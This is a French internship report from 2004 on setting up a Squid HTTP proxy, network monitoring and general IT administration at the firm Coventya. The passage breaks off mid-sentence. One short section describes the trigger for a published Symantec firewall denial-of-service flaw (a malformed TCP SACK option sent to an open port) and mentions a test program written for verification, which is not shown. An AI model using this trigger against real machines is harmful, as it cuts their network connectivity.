1.2. Contexte du stage

Transcription

Mise en place de proxy HTTP et
monitoring réseau: société
COVENTYA
Pierre Pronchery
[email protected]
Mise en place de proxy HTTP et monitoring réseau: société COVENTYA
par Pierre Pronchery
Copyright © 2004 Pierre Pronchery
Remerciements
Je remercie la société Coventya, et plus particulièrement MM. Brisy et Lonka, qui m’ont permis
d’appréhender le métier d’"Administrateur de Système d’Information" au cours de ce stage.
Je remercie l’INSIA, et plus particulièrement la Cellule Entreprise, dont Mme Rivillon, qui m’a
mis en contact avec la société Coventya.
Table des matières
Résumé................................................................................................................................................vi
Abstract .............................................................................................................................................vii
Introduction......................................................................................................................................viii
1. Environnement de travail............................................................................................................... 1
1.1. Encadrement......................................................................................................................... 1
1.1.1. Personnel informatique............................................................................................ 1
1.1.2. Moyens à disposition ............................................................................................... 1
1.2. Contexte du stage ................................................................................................................. 1
1.2.1. L’entreprise .............................................................................................................. 2
1.2.2. Le système d’information........................................................................................ 2
1.2.3. Le parc informatique ............................................................................................... 2
1.3. Gestion du parc .................................................................................................................... 4
1.3.1. Prises de décision .................................................................................................... 4
1.3.2. Procédures de suivi.................................................................................................. 4
1.3.3. Gestion des incidents............................................................................................... 5
2. Déroulement du stage ..................................................................................................................... 6
2.1. Planification ......................................................................................................................... 6
2.1.1. Découpage initial du projet ..................................................................................... 6
2.1.2. Mise en pratique ...................................................................................................... 6
2.1.3. Indicateurs et bilans................................................................................................. 7
2.2. Communication .................................................................................................................... 7
2.2.1. Au sein du service ................................................................................................... 7
2.2.2. Avec les utilisateurs ................................................................................................. 7
2.2.3. Veille technologique ................................................................................................ 7
2.3. Intégration au parc ............................................................................................................... 8
2.3.1. Machines serveur..................................................................................................... 8
2.3.2. Postes clients ........................................................................................................... 8
2.3.3. Interopérabilité ........................................................................................................ 9
3. Aspects techniques ........................................................................................................................ 10
3.1. Maintenance ....................................................................................................................... 10
3.1.1. Matériel.................................................................................................................. 10
3.1.2. Logiciel.................................................................................................................. 11
3.1.3. Sauvegarde............................................................................................................. 12
3.2. Modifications au parc......................................................................................................... 12
3.2.1. Sécurité des postes nomades ................................................................................. 12
3.2.2. Mise en place du proxy HTTP............................................................................... 13
3.2.3. Service de messagerie............................................................................................ 16
3.3. Monitoring ......................................................................................................................... 17
3.3.1. Santé du réseau local: NTop .................................................................................. 18
3.3.2. Métrologie globale: Cacti ...................................................................................... 19
3.3.3. Système de fichiers distribué: DFS........................................................................ 20
Conclusion .......................................................................................................................................xxii
A. Déni de service Symantec Client Firewall ................................................................................. 24
B. Installation et configuration de Domino..................................................................................... 27
iv
Liste des illustrations
1-1. Schéma réseau de Coventya .......................................................................................................... 2
2-1. Boitier pare-feu Watchguard ......................................................................................................... 8
3-1. Ecran principal d’administration de switch 3Com ...................................................................... 10
3-2. Ecran système d’administration de switch 3Com ....................................................................... 11
3-3. Script d’auto-configuration de proxy .......................................................................................... 15
3-4. Configuration de Squid par Webmin ........................................................................................... 15
v
Résumé
Coventya est une entreprise de chimie, produisant des solutions de traitement de surfaces métalliques. Elle participe à la réalisation et à la finition de pièces pour l’industrie mécanique, électronique,
et du luxe. Son site le plus important est à Clichy (92), mais sa présence s’étend en Europe, au Brésil
et en Chine. Elle compte environ 200 employés.
Le stage, qui y a eu lieu de mai à octobre 2004, était principalement orienté vers la mise en place
d’un serveur proxy HTTP d’une part, et d’une solution de suivi d’activité réseau (monitoring) d’autre
part. Il a été étendu à l’ensemble des tâches que peut rencontrer un administrateur réseau dans une
entreprise telle que Coventya.
Au sein du service informatique de Clichy, composé de deux administrateurs, ces projets ont été
réalisés avec d’importantes contraintes matérielles. A cette occasion j’ai pu présenter des solutions en
logiciel libre à mes collègues, qui souhaitaient en utiliser, et en recevoir par là une approche concrète.
Des logiciels libres de notoriété ont été déployés. Squid sert les pages web aux utilisateurs (proxy
HTTP), tandis que Apache (serveur web), PHP (moteur web), MySQL (gestion de base de données),
et Cacti (glue de composant de suivi) assurent le suivi d’activité réseau. Leur configuration a été
regroupée grâce à l’interface d’administration Webmin.
Si ces logiciels répondent aux besoins exprimés, ils auraient éventuellement pu être mis aux couleurs de Coventya, ou être plus adaptés aux habitudes de mes collègues. Ceci n’a pas été facilité par
l’importance de la charge de travail, avec l’implication dans leur service. Je regrette également de ne
pas avoir pu d’avantage mettre à l’épreuve mes compétences en administration système, le parc de
Coventya étant de taille raisonnable, et déjà bien en place.
vi
Abstract
Coventya is a producer and researcher of chemicals for electroplating. They are designed to help
and enhance the production of metallic devices, which may be found in cars, electronics and also jewels. Its main site is at Clichy, France (Hauts-de-Seine), but the targeted market also includes Europe,
Brasil and China. Coventya hires about 200 people.
The internship lasted 6 months, from May to October 2004. It was aiming at the setup of a HTTP
proxy server on one hand, and of a network monitoring service on the other hand. It has been extended
to a point where most typical Systems Administrators tasks have been encountered.
These projects have been realized with both Systems Administrators from the IT department.
They have faced tight hardware requirements, which has been an occasion to use free software-based
solutions. My colleagues were already willing to be introduced to this technology, which I did.
A few famous free software solutions have been installed: Squid (HTTP proxy) delivers the web
pages, while Apache (web server), PHP (web engine), MySQL (database management) and Cacti
(monitoring components glue) operate the network monitoring. Their administration has been eased
and gathered, thanks to the web interface Webmin.
While these components do their job, they could have been customed to fit Coventya’s graphical
style, and maybe also to better fit my colleagues perception. This has been complicated by the daily
work load at the office, in spite of my implication in it. I would have liked to further test my skills
also, the existing system being of a moderate size, and already proven.
vii
Introduction
Il s’agit d’un stage de deuxième année du cycle ingénierie, de l’INSIA à Paris. Il accompagne la
spécialité choisie, "Systèmes, Réseaux, Télécoms" (SRT). L’année scolaire se déroulant en alternance
6 mois en cours, 6 mois en entreprise, le stage a eu lieu du 3 Mai au 29 Octobre 2004.
Le stage a pour titre "Mise en place de proxy HTTP et monitoring réseau", mais le but est également d’assister le service informatique, et les utilisateurs, dans des tâches moins spécifiques. La
mission aurait pu être intitulée "Administration de Système d’Information".
Proxy HTTP. Le proxy HTTP s’interpose entre les utilisateurs d’une part, et les sites web et FTP
qu’ils visitent d’autre part. La redirection des requêtes est quasiment transparente, il s’agit juste
d’indiquer à son navigateur les paramètres du proxy. Le premier intérêt de ce service est alors
d’économiser le débit de la connexion à Internet, car le proxy peut mettre en cache les documents
déjà visités.
Par extension, il est même possible, si les besoins en terme de connectivité des
utilisateurs se limitent à de la consultation de pages web, de ne partager directement l’accès
à Internet que par le proxy. Les utilisateurs locaux doivent alors l’utiliser exclusivement.
Si d’autres protocoles sont nécessaires, il est souvent possible d’utiliser un proxy SOCKS
(http://archive.socks.permeo.com/protocol/socks4.protocol). Certains proxys HTTP en incluent le
support.
De plus, les possibilités de suivi et de limitations de l’utilisation du service sont bien plus importantes qu’à l’aide d’un simple pare-feu. Il est possible, entre autre, d’interdire l’accès aux sites
publicitaires, ou à des domaines dont le contenu ne correspond pas à la politique de l’utilisation du
système d’information.
Monitoring réseau. Le service informatique disposait déjà d’un certain nombre d’outils de diagnostic
de l’usage du réseau, mais uniquement sur les lignes gérées par ses prestataires. Il y a donc besoin
d’outils d’analyse sur la santé et l’usage du réseau.
Divers types d’outils d’analyse de réseau existent: on distingue notamment les outils actifs des
passifs. Les outils passifs se contentent d’écouter un lien, et d’en recouper l’information, tandis que
les outils actifs peuvent remonter des alertes, si certains seuils sont dépassés par exemple.
Administration système. Le travail a également consisté à compléter les efforts de l’équipe en place,
aussi bien sur des projets en cours, que sur de la maintenance logicielle et matérielle. L’installation et
la mise à jour de logiciels, la reconfiguration de machines, la maintenance du parc ont enrichi cette
expérience.
Aide aux utilisateurs. Le téléphone a sonné régulièrement, pour des requêtes ou des questions techniques d’ordre général. Installation de logiciel utilisateur, déblocage de configuration, support technique, déplacement et réparation de matériel client ont aussi fait partie du quotidien.
viii
Chapitre 1. Environnement de travail
1.1. Encadrement
1.1.1. Personnel informatique
Mon directeur de stage, M. Christian Brisy, est également le responsable du parc informatique de
Coventya. Il est épaulé par M. Jérémy Lonka, sur le site de Clichy. Ils s’occupent tous deux de la
gestion du parc aussi bien sur place, ailleurs en France, qu’à l’étranger. Ceci occasionne parfois des
trajets internationaux, mais la plupart du temps des membres de l’entreprise sur place, ou parfois des
consultants (comme en Italie) répondent aux besoins ne pouvant être traités à distance.
MM. Brisy, Lonka et moi-même avons travaillé dans le même bureau, ce qui a permis la plupart du
temps une concertation rapide. Ainsi rares sont les occasions où nous avons dû nous téléphoner entre
nous, ou nous envoyer des messages. Et bien sûr, les fiches de suivi d’intervention sont également un
moyen de communiquer important.
Mes collègues sont polyvalents, et peuvent chacun traiter la quasi-totalité des problèmes indépendamment. Dans les cas les plus pointus, M. Brisy est plus avancé sur SAP, tandis que M. Lonka
s’occupe plus souvent de Domino et Active Directory. L’intégralité du parc est géré en environnement
Windows, dont ils assurent tous deux l’administration.
Concernant l’administration courante des serveurs Windows et Domino, je n’ai pas rencontré
de problème particulier. L’expérience permet ensuite de mieux mémoriser où se situent les diverses
options, et de contourner la plupart des problèmes, le reste étant généralement assez intuitif ou documenté. Les compétences que j’ai pu apporter à l’entreprise se trouvent plutôt au niveau des réseaux,
et surtout en administration de systèmes UNIX et culture des logiciels libres.
Je regrette cependant que mon travail n’ait pas été plus testé pendant mon stage. Une journée a
bien été prise début juin, afin d’initier mes collègues à l’installation de Linux. Mais l’utilisation du
système, et les procédures de remise en place n’ont été transmises que pendant le dernier jour.
1.1.2. Moyens à disposition
Dès mon arrivée j’ai disposé d’un poste, avec les droits complets d’administration sur Active
Directory et Lotus Domino. J’ai occupé le même bureau que mes collègues, avec accès direct aux
documentations présentes, et au matériel de rechange. J’ai pu me rendre en salle serveur, située en
bas de l’immeuble, dans les locaux d’une autre entreprise: Coventya y loue un emplacement (armoire
rack).
1
1.2. Contexte du stage
1.2.1. L’entreprise
Coventya élabore des solutions de traitement électrolytique. Un regroupement d’équipes de chimistes élabore des formules chimiques pour le traitement de surfaces. Les produits doivent préparer,
protéger et donner le meilleur aspect visuel de pièces métalliques, pour l’industrie et le luxe.
Ses clients viennent notamment de l’industrie automobile, du bâtiment, de l’électronique, de la
bijouterie, en France comme à l’étranger. Ainsi Coventya est principalement implantée en France,
mais est très présente en Europe (Allemagne, Espagne, Italie, Suède), et se déploie également en
dehors du continent (Brésil, Chine, Etats-Unis).
1.2.2. Le système d’information
La mise en place et l’usage du système informatique a donc fait face à des contraintes de distance
très importantes. Il faut y ajouter la barrière de la langue, car si la langue de travail est l’anglais,
parfois le français, les logiciels sont déployés (et donc administrés) en langue locale.
L’essentiel de la gestion de l’entreprise est réalisé par un serveur SAP, mutualisé sur une grappe
de systèmes Linux, située à Bautzen (Allemagne). Un serveur supplémentaire y est à disposition pour
les tests. Cependant, presque tous les autres moyens déployés sont à Clichy.
La communication par l’outil informatique est entièrement basée sur Lotus Notes. Les utilisateurs s’échangent fréquemment par ce biais documents Microsoft Office, PDF, et images. Mis à part
les outils d’administration, les autres logiciels en place sont essentiellement des applications métier
(chimie, qualité, ...).
Les utilisateurs disposent d’espaces de stockage par réseau: sur leur compte, dans des partages
réservés à leurs groupes de travail respectifs, ou dans un partage ouvert à tous. Des sauvegardes
hebdomadaires en sont réalisées.
1.2.3. Le parc informatique
Chaque site est équipé par un serveur Domino, relié au serveur central de Clichy. Deux le sont
par liaison RNIS: Gütersloh en Allemagne, et Milan en Italie. Les serveurs SAP le sont également. Ils
sont interconnectés par un réseau privé, fourni par France Télécom, remplacé par une liaison directe
en cas de panne du backbone. Le réseau de Clichy dispose également d’une liaison ADSL, bridée à
1600/256kbps car trop éloignée des infrastructures de France Télécom. Celle-ci relie tous les autres
sites, par réseau virtuel privé sur Internet (dont une liaison supplémentaire vers les serveurs SAP).
2
Figure 1-1. Schéma réseau de Coventya
Salle serveur. Les serveurs sont en place dans le même bâtiment, mais dans les locaux de Chep, une
autre entreprise. Il s’y trouve:
•
un serveur Windows 2000, contrôleur du domaine;
•
un second serveur Windows 2000, Domino et contrôleur de domaine;
3
•
un routeur Cisco 2600, connecté à la demande à l’imprimante du site de production de Rouen par
RNIS;
•
un second routeur Cisco 2600, de France Télécom, relié au backbone;
•
un boitier pare-feu WatchGuard, qui gère également le VPN, géré par la société Via Net.Works;
•
une passerelle SMTP, anti-virus, fournie également par Via Net.Works;
•
une liaison directe au réseau local de Chemetall, l’entreprise dont est issue Coventya.
Les différents étages du bâtiment sont reliés en fibre 100FX (100Mbps), puis en 10Base-T ou
100Base-T (10 et 100Mbps), par un réseau de switchs 3Com (SuperStack 3300 ou 1100).
Postes des utilisateurs fixes. Le parc de Clichy compte environ 60 postes clients en activité. Ils
utilisent Windows NT4, 2000 et XP. La gestion du logiciel anti-virus, Symantec Antivirus, est centralisée sur serveur, tandis que le reste des opérations de maintenance est réalisé à distance par PC
Anywhere. Concernant les licenses, chaque poste est géré indépendamment, et utilise des versions de
logiciels parfois différentes des autres machines.
Postes nomades. Pour ses représentants technico-commerciaux, Coventya fournit une flotte de 20
PC portables, sous Windows XP. Les applications installées sont les mêmes que sur les postes fixes.
En revanche, ils disposent d’une connexion à Internet internationale, par ligne fixe ou RNIS, gràce à
Terre Networks, et en France par Free en ADSL. La liaison aux serveurs utilise un réseau virtuel sur
Internet.
Les utilisateurs. Les utilisateurs se servent de leur poste avec des privilèges normaux. La plupart
utilisent les outils mis à disposition, et peuvent bien sûr s’installer un certain nombre d’applications.
Ils n’ont pas de restriction formelle à l’utilisation du système d’information, ou d’Internet.
1.3. Gestion du parc
1.3.1. Prises de décision
La maintenance logicielle du parc est compliquée par la gestion des licences et des versions de
logiciels installées et disponibles. Les décisions les concernant sont prises par M. Brisy, et soumises à
approbation par la comptabilité. Des prestataires assurent certains services, comme iTelligence pour
SAP, ou Via Net.Works pour l’anti-virus de messagerie. Ils décident des solutions qu’ils déploient,
par concertation avec M. Brisy, et tel que détaillé dans leurs contrats respectifs bien entendu.
1.3.2. Procédures de suivi
Un système de fichage manuel de suivi des commandes et interventions est élaborée, en coordination avec le service comptable. Le carnet d’adresses du service informatique (IT), et les fiches de
suivi contiennent les coordonnées téléphoniques ou mail des services de support concernées.
De même, les procédures de déplacement, remplacement, modification ou configuration de postes,
imprimantes et serveurs sont fichées, à l’exception des plus bénines.
4
En revanche, le suivi matériel des sites distants est au plus possible réalisé par le personnel sur
place. Les problèmes sont résolus par téléphone, ou parfois avec l’intervention de consultants ou
sociétés extérieures sur le site en question. Dans ce cas la plupart des interventions sont comptabilisées
par le site même.
1.3.3. Gestion des incidents
Le suivi des incidents est coordonné par un système de fiches. Elles sont réalisées à la main, sur
un support papier. A chaque stade de leur traitement, elles sont empilées, traitées puis archivées. Elles
rappellent les coordonnées des services techniques les plus souvent mis à contribution, les autres étant
accessibles par le carnet d’adresse Domino dédié aux administrateurs.
Les fiches sont prévues pour être renseignées avec le numéro de parc du matériel correspondant,
l’émetteur, la date d’émission, la description du problème, et celle de la solution appliquée.
5
Chapitre 2. Déroulement du stage
2.1. Planification
2.1.1. Découpage initial du projet
Il m’avait été annoncé que le projet serait ponctué de tâches de maintenance et d’aide aux utilisateurs diverses, c’est à dire d’aide à MM. Brisy et Lonka au quotidien. La mission proprement dite était
cependant de mettre en place le proxy HTTP, avant de réfléchir à la solution de monitoring à mettre
en place. D’autres possibilités de missions étaient également prévues, mais de priorité plus faible. Le
suivi du système de partage de fichiers inter-sites en est un bon exemple.
2.1.2. Mise en pratique
2.1.2.1. Déploiement du pare-feu Symantec
En pratique, mon arrivée à Coventya a coincidé avec celle du ver Sasser. La première partie du
stage a donc été dédiée au déploiement du pare-feu Symantec Client Security sur les postes nomades.
Ceux-ci étaient les premiers vulnérables à l’attaque, alors connectés sans protection à Internet, et
parfois désyncronisés avec la mise à jour automatique de l’anti-virus. De plus, Une faille du pare-feu
déployé ayant été publiée, j’ai procédé à l’élaboration d’un programme permettant de la tester.
2.1.2.2. Proxy HTTP et monitoring
Une fois le pare-feu en production (mi-mai), j’ai pu me consacrer à l’installation de mon poste de
travail, ainsi que du proxy. Le proxy a été mis en production début juin par une règle Active Directory
sur le site de Clichy. Son bon fonctionnement a été retardé par un bogue du noyau Linux, signalé et
paré grâce au suivi de bogues Debian (http://www.debian.org/Bugs/). De premières solutions de suivi
de l’activité du proxy ont été étudiées et présentées à M. Brisy. Cette période a aussi été consacrée à
l’étude d’une solution de poste client sous Linux, principalement l’intégration au système Domino en
place (courrier, carnet d’adresses).
Je me suis alors intéressé aux solutions de monitoring, appliquées à la topologie du réseau de Coventya. Elle a principalement porté sur 3 logiciels: Cacti, Nagios et NTop. Ceci m’a permis d’analyser
l’activité du réseau, pendant que j’étendais les possibilités des solutions testées. Une série de documentations a été écrite durant le mois de juillet.
2.1.2.3. Bilan et évolution de la mission
A la reprise d’activité, fin août, une réunion a défini de nouveaux objectifs pour les 2 derniers
6
mois. J’ai donc effectué, durant la fin du stage:
•
le suivi rapproché du comportement du partage distribué de fichiers de Microsoft, DFS;
•
l’étude d’une solution de doublage de lien Internet, sur les sites distants;
•
le dédoublage des clients du réseau virtuel, pour les utilisateurs des sites distants;
•
le test d’une solution serveur Domino sous Linux, afin de permettre aux utilisateurs la lecture de
leur courrier sur Internet.
Comme précisé, toute la période de stage a également été consacrée à diverses opérations de
maintenance et d’aide aux utilisateurs, de moindre importance.
2.1.3. Indicateurs et bilans
Comme mentionné ci-dessus, des réunions au sein du service informatique ont été organisées à
intervalles réguliers. C’est au cours de ces réunions que les différentes étapes de la mission ont été
validées, et que les connaissances ont été transmises (installation de Debian, gestion des services mis
en place).
2.2. Communication
2.2.1. Au sein du service
Partageant le même bureau que mes collègues, l’essentiel de la communication a bien sûr éte
effectué de vive voix. Le mail et le téléphone ont parfois été utilisés, en cas d’impossibilité de se
joindre physiquement.
J’ai également mis en place à leur attention, un serveur web local sur ma machine. Il regroupait
diverses informations, comme les mots de passe, et la documentation de mes réalisations.
2.2.2. Avec les utilisateurs
Les utilisateurs physiquement à Clichy passaient régulièrement directement dans notre bureau.
Ils utilisaient aussi comme l’ensemble des utilisateurs la messagerie ou le téléphone. Quelques notes
à leur attention figuraient également sur le serveur web de ma machine (configuration manuelle du
proxy).
7
2.2.3. Veille technologique
Tout au long de la mission, je suis resté informé de l’actualité du matériel et des
logiciels déployés. Ceci a été rendu possible, notamment par la liste de sécurité Bugtraq
(http://www.securityfocus.com/archive/1), et le site LinuxFR (http://linuxfr.org/), et sinon par les
sites des constructeurs et éditeurs.
2.3. Intégration au parc
2.3.1. Machines serveur
Les machines serveur du site de Clichy sont placées dans une armoire rack, dans la salle serveur du
bâtiment (voir Figure 1-1). Leur adressage partage le sous-réseau 10.1.0.0/20, avec les périphériques
réseau administrables, imprimantes et postes utilisateurs. Les adresses sont allouées une à une, et
maintenues dans un fichier Excel sur réseau.
Figure 2-1. Boitier pare-feu Watchguard
Chaque site distant dispose d’un sous-réseau séparé, en /20, par exemple 10.3.0.0/20, soit 4094 entités
adressables. Les liens passant par Internet sont chiffrés par des boitiers pare-feu dédiés, de Watchguard
(http://www.watchguard.com/).
2.3.2. Postes clients
2.3.2.1. Réseau local
Le réseau local est exploité à l’aide d’un serveur DHCP, allouant des adresses de 10.1.2.0 à
10.1.2.255. Les systèmes Windows supportant les domaines Active Directory sont intégrés au do-
8
maine Coventya1. Ils le sont également au système de suivi anti-virus, et de contrôle à distance PC
Anywhere. Lotus Notes est aussi installé et configuré.
2.3.2.2. Utilisateurs nomades
Les postes nomades disposent aussi de PC Anywhere, Lotus Notes et d’un anti-virus, mais surtout
d’un accès à Internet international. Il est assuré par Terre Networks, et free en France. La connexion
vers Coventya est établie par un réseau virtuel, chiffré par IPsec (comme les boitiers Watchguard). Le
sous-réseau dédié à ces postes est 10.0.0.0/20.
2.3.3. Interopérabilité
L’intégration d’un client Linux au parc existant a été compliquée par Domino. S’il propose bien
un certain nombre de protocoles standards permettant d’accéder au courrier et au carnet d’adresses,
il est impossible d’exécuter les applications dédiées à Notes en dehors du client Windows. Seule
une version de Notes (5.0.12) a fonctionné après copie et exécution sous l’environnement Wine (qui
permet d’exécuter des applications Windows sous Linux).
Pire encore, l’interface d’administration de Domino permet d’activer les services IMAP (courrier)
et LDAP (carnet d’adresses), mais en pratique cela ne lançait pas les serveurs correspondants, et ce
silencieusement. Après recherche, le format IMAP nécessitait une modification importante du format
des bases mail, et le serveur LDAP était bloqué par le service Active Directory. Quant à l’interface
web d’administration, elle a rejeté mon navigateur, Mozilla 1.6, "pas assez récent", alors que Netscape
4.x était supporté.
Heureusement, le serveur Domino installé sous Linux, en version 6, a bénéficié d’améliorations
majeures. Il m’a permis d’accéder sans problème à IMAP et LDAP.
Enfin, l’administration des serveurs Windows étant réalisée à l’aide de PC Anywhere, elle m’a été
impossible sous Linux. L’activation de Terminal Server peut remédier à ce problème, mais serait plus
difficilement applicable sur les postes clients.
9
Chapitre 3. Aspects techniques
3.1. Maintenance
3.1.1. Matériel
3.1.1.1. Les interventions
Il a fallu régulièrement participer aux opérations de maintenance sur le matériel en production sur
le site de Clichy. Que ce soit dans les cas de:
•
détérioration de PC portables,
•
panne d’imprimante,
•
usure programmée d’imprimante,
•
commande de matériel,
•
mise à jour de firmware,
•
réinitialisation de matériel,
la procédure établie a bien entendu été respectée, il fallait prévenir les utilisateurs concernés en cas de
perturbation à prévoir. Il était même plus que recommandé d’effectuer les opérations gênantes dans
des conditions où elles affectaient au moins possible le fonctionnement des applications (soit pendant
la pause déjeuner, ou en fin d’après-midi).
3.1.1.2. Mise à jour des switchs 3Com
Un bon exemple de maintenance critique que j’ai réalisée est la mise à jour des switchs 3Com.
A l’occasion de la mise en place d’une solution de monitoring, il était judicieux de mettre à jour le
firmware des switchs.
Il s’agissait de mettre en place un serveur TFTP, disposant de l’image à jour, et de se connecter
par Telnet au switch en question. Sur Debian, l’installation du serveur se fait comme suit:
# apt-get install tftp
# vi /etc/inetd.conf #réglage du répertoire de base
# vi /etc/hosts.{allow,deny} #détermination des clients autorisés
On obtient après authentification sur le switch l’écran vu en Figure 3-1.
Figure 3-1. Ecran principal d’administration de switch 3Com
Menu options: --------------3Com SuperStack II Switch 1100-------------bridge
- Administer bridging/VLANS
ethernet
- Administer Ethernet ports
feature
- Administer system features
ip
- Administer IP
10
logout
snmp
system
- Logout of the Command Line Interface
- Administer SNMP
- Administer system-level functions
Type ? for help.
--------------------------------D1027 3ème Commer. (2)-----------------Select menu option:
on accède alors au menu "system", tel que présenté en Figure 3-2.
Figure 3-2. Ecran système d’administration de switch 3Com
Menu options: --------------3Com SuperStack II Switch 1100-------------display
- Display device information
information
- Set the system name, location and contact
initialize
- Reset to factory defaults
inventory
- Stack information
module
- Administer intelligent module
password
- Change system password
remoteAccess
- Change Remote Access permissions
reset
- Perform system reset
security
- Administer system security
softwareUpgrade
- Perform agent software upgrade
unit
- Input commands to another unit
Type "q" to return to the previous menu or ? for help.
--------------------------------D1027 3ème Commer. (2)-----------------Select menu option (system):
la commande "softwareUpgrade" demande alors l’adresse du serveur TFTP, ainsi que le nom de
l’image sur le serveur. Puis le switch procède à la mise à jour:
1. téléchargement de l’image,
2. redémarrage (ne répond plus à peu près 30 secondes),
3. téléchargement une deuxième fois de l’image,
4. nouveau redémarrage.
J’ai constaté que le switch fait deux fois la mise à jour. Je suppose qu’il s’assure qu’avec la nouvelle
version du firmware il est toujours capable de procéder à d’autres mises à jour.
L’obtention de futures mises à jour s’effectue sur la page 3Com Search for Downloads
(http://www.3com.com/products/en_us/downloadsindex.jsp). Il suffit d’y indiquer le numéro de
produit 3Com (ici 3C16950, lisible par "system, display" ou par l’interface web). Les liens proposent
également des logiciels ou les documentations en relation.
3.1.2. Logiciel
Il m’est arrivé régulièrement de procéder à l’installation, la mise à jour, la reconfiguration de
logiciels aux utilisateurs, tels que Lotus Notes, Symantec Anti-Virus, ou de logiciels professionels
11
comme Brise (base de données de propriété intellectuelle en chimie). Ces opérations sont souvent très
frustrantes, par les plantages, incompatibilités silencieuses. Il est rarement possible d’en obtenir un
support économiquement décent, parfois même le logiciel en question n’est plus supporté.
Les opérations de mise à jour des outils Microsoft, et du produit anti-virus, sont réalisées automatiquement (respectivement par Windows Update Services, et LiveUpdate). Sur ces produits le
déploiement est paramétrable sur une console centralisée. Pour configurer les postes individuellement, ou gérer les autres produits déployés, l’interface d’administration à distance PC Anywhere, de
Symantec, est largement utilisée. Elle déporte l’utilisation de la machine par réseau. Ceci implique
l’affichage en direct des manipulations, et l’accès physique de la machine cliente.
3.1.3. Sauvegarde
Une sauvegarde complète des serveurs est effectuée chaque semaine, renforcée par une sauvegarde
différentielle tous les soirs en semaine. M. Lonka s’occupe de la rotation des cartouches, il s’agit de
DLT de 80GB compressés.
Les restaurations sont effectuées sur simple demande des utilisateurs.
3.2. Modifications au parc
3.2.1. Sécurité des postes nomades
3.2.1.1. Pare-feu Windows XP
A mon arrivée le 3 mai dans l’entreprise, le ver Sasser faisait ses premiers ravages. Il n’a pas
épargné les PC portables des utilisateurs nomades, connectés via par VPN sous Windows XP (SP1),
mais sans pare-feu sur la connexion Internet. Ceci bien que Zone Alarm soit proposé avec le client
VPN, pour raison d’incompatibilités. Ma première tâche a donc été de mettre en place une politique
de sécurité sur la connexion:
•
bloquant l’accès direct au poste,
•
permettant la mise en place du VPN,
•
permettant l’administration à distance du poste par PC Anywhere,
•
permettant la mise à jour programmée de l’anti-virus et autres applications,
•
ne gênant pas outre mesure l’utilisation du poste par l’utilisateur.
Mon premier essai s’est porté sur le pare-feu intégré à Windows XP. Malheureusement il est très mal
présenté et documenté, même sur le site de Microsoft. Suite à une batterie de test il s’est avéré qu’il
devait être actif à la fois sur l’interface PPP et l’interface VPN afin de pouvoir fonctionner. De plus, si
on peut lui faire ouvrir des ports TCP ou UDP sur la machine, il faut à chaque fois lui indiquer le port
source autorisé, ce qui dans le cas de nos applications n’est pas possible. J’ai donc dû écarter cette
solution.
12
3.2.1.2. Pare-feu Symantec
Mes efforts se sont alors portés sur le pare-feu Symantec, disponible par l’offre Symantec Gold
contractée par l’entreprise. Symantec Client Security Firewall peut effectuer des blocages par application tentant d’accéder au réseau (à la Zone Alarm), ou par des règles de filtrage générales. Outre
l’intégration à l’interface d’administration des produits Symantec, il consiste en:
•
l’application pare-feu, dont la configuration peut-être graduellement laissée à l’utilisateur;
•
l’administration du pare-feu, qui permet d’accèder plus directement aux règles de filtrage, et surtout
l’import/export des règles en cours.
Il a donc fallu installer et utiliser le pare-feu sur une machine, afin d’en générer une configuration
type. Celle-ci est alors déployable par l’interface d’administration Symantec.
Les logiciels de gestion Symantec m’ont permis de générer un exécutable d’installation silencieuse du pare-feu. Son déploiement en masse a pu être réalisé un mois plus tard, lorsque les utilisateurs nomades sont venus en réunion à Clichy. Il a été accompagné de la rédaction d’une procédure.
3.2.1.3. Exploit Symantec Firewall
Suivant régulièrement la liste de veille sécuritaire Bugtraq, j’ai été informé dès mai 2004 de la
présence d’une faille dans le pare-feu: EEYE: Symantec Multiple Firewall TCP Options Denial of
Service (http://www.securityfocus.com/archive/1/361283). Pour vérification, j’ai développé un programme en C, testant la vulnérabilité, dont la version finale est en Annexe A. Après la réception d’un
paquet TCP malformé (option SACK avec longueur nulle), la machine ciblée perd toute connectivité,
jusqu’à son prochain redémarrage.
La première version n’affectait en rien le comportement du logiciel, tel qu’indiqué dans l’annonce.
J’en ai donc contacté l’auteur, qui m’a fourni plus de détails sur la faille, et comment s’assurer de sa
correction (version du fichier SYMNDIS.SYS). Il fallait, contrairement à ce qui était mentionné au
départ, cibler un port ouvert. Le risque était minime, car ma configuration les bloquait en dehors du
réseau virtuel.
3.2.2. Mise en place du proxy HTTP
3.2.2.1. Cahier des charges
Les contraintes étaient les suivantes:
•
économiser la bande passante;
•
limiter le coût logiciel et matériel;
•
s’intégrer de manière transparente au parc;
•
conserver la navigation telle quelle;
•
faciliter l’administration et le suivi.
13
Il n’y avait notamment pas de politique de filtrage à mettre en place, même sur d’éventuels sites de
publicité.
3.2.2.2. Ressources disponibles
La migration en cours de postes clients, de Compaq Pentium Pro et II entre 180 et 233MHz pour
de nouvelles machines, m’a permis de disposer d’un certain nombre de ces machines. Mon choix
s’est porté sur un Pentium II, qui a été équipé de 128MB de SDRAM (non sans incompatibilités avec
certaines marques). Le disque dur présent, de 2GB, a suffit.
Logiciellement, sur une telle configuration un système d’exploitation graphique serait trop lourd
et surtout, superflu. GNU/Linux, en particulier la distribution Debian, semblait indiqué, et n’a coûté
qu’un téléchargement.
3.2.2.3. Installation et paramétrage
L’installation elle-même n’a pas posé de problème, si ce n’est le BIOS peu conventionnel proposé
par Compaq. En effet celui-ci se trouve sur disque dur, et utilise une version réduite de Windows 3.1
pour l’interface. Un seul des disques durs récupérés en disposait d’une copie fonctionnelle, ce qui a
tout de même permis d’amorcer le CD-ROM. Heureusement, il est également possible de lancer le
BIOS à l’aide de disquettes.
La première étape a donc été un simple paramétrage du système, par l’installation de Squid, et sa
configuration. Seules 2 modifications ont été nécessaires:
acl coventya_local src 10.0.0.0/8
à la suite des définitions d’ACL (TAG: acl), et dans les règles d’accès:
http_access allow coventya_local
entre les règles fournies, et la règle d’interdiction de tout le reste: "http_access deny all" (TAG:
http_access).
A noter également, Squid a besoin d’un nom qualifié dans /etc/hosts pour démarrer. La machine
ayant d’abord été configurée en DHCP, Squid refusait de démarrer, comportement documenté au
bug #244887 (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=244887&archive=yes). Pour pallier
au problème, la directive "visible_hostname C1043.local.coventya.com" a alors été fixée.
3.2.2.4. Problèmes techniques
Au cours des tests effectués avant la mise en production, il s’est avéré que la machine ne voulait
pas démarrer sans clavier branché, et que le redémarrage volontaire de la machine bloquait. Aucun des
problèmes n’a été résolu par la mise à jour du BIOS. Si le premier problème pour être contourné (en
